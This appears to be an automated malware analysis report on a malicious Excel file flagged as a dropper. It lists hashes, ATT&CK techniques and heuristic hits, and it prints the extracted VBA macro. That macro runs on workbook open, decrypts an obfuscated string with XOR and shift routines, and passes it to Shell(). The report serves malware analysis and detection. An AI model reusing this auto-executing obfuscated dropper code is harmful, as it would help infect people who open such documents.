Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 75d36c1877880466…

MALICIOUS

Office (OLE)

85.5 KB Created: 2019-05-29 13:00:49 Authoring application: Microsoft Excel First seen: 2019-05-31
MD5: 69cb26bc94e1e6f9f2a815853fb705c9 SHA-1: e8ff5d77187b3c8019f6e9b2f74bb4e202840265 SHA-256: 75d36c18778804666ea78c47498ea7e4e29e788d36866bcbd35db32d64ba2fc5
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The critical heuristic firings for OLE_VBA_SHELL and OLE_VBA_WBOPEN, along with the presence of a Workbook_Open macro, indicate that the sample is designed to execute arbitrary code upon opening. The VBA code contains a Shell() call and uses a custom decryption function to obfuscate a string that is then passed to Shell(), likely to download and execute a second-stage payload. The ClamAV detection name 'Xls.Dropper.Agent-7004322-0' further supports this assessment.

Heuristics 4

  • ClamAV: Xls.Dropper.Agent-7004322-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7004322-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2073 bytes
SHA-256: ac25ae0f24088b58a1419b343195234a0294ae3b9acce6ed5d09aba6d6682bbb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "このワークブック"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True









































































Public Function Welcome(ByVal mathh As String, ByVal Paraf As String) As String
Dim a, b, c, d As String
Dim kios As Long
Dim doggy As Long
Dim cn As Long
c = mathh
b = Paraf
a = ""
kios = Len(c)
doggy = Len(b)
For cn = 1 To kios Step 3
a = a + Chr(Val(Mid(c, cn, 3)) Xor Asc(Mid(b, (Int(cn / 3) Mod doggy) + 1, 1)))
Next cn
Welcome = a
End Function
Private Sub Workbook_Open()
'debug.print
If xlXmlExportValidationFailed > 0 Then oceran
End Sub
Function lowsharts()
lowsharts = timefortime(3 - 2, 2 - 1)
End Function

Function Beta1()
fdsgfadsrff436tgdfzf33546s = 1 + (Application.International(LittlePeace) - 1)
Beta1 = fdsgfadsrff436tgdfzf33546s
End Function

Function LittlePeace()
LittlePeace = ((xlDate))
End Function


Function WestAndS(aAA As String)
Dim ligiums, efrat As String
Dim wq, Dego, vert As Integer
Dego = 2
ligiums = aAA
For wq = 1 To Len(ligiums)
vert = Asc(Mid(ligiums, wq, 1)) - Dego
efrat = efrat & Chr(vert)
Next wq
WestAndS = efrat
End Function

Private Sub oceran()
If xlMillimeters > 0 Then
Ags = 3.29845103217598E+76
If msoComboLabel > 0 Then XlForecastChartTypes = (Shell#(Welcome(WestAndS(lowsharts), Beta1 * 3), Sgn(123.67) - 1))
End If
End Sub

Function timefortime()
timefortime = Cells
End Function









Attribute VB_Name = "シート3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.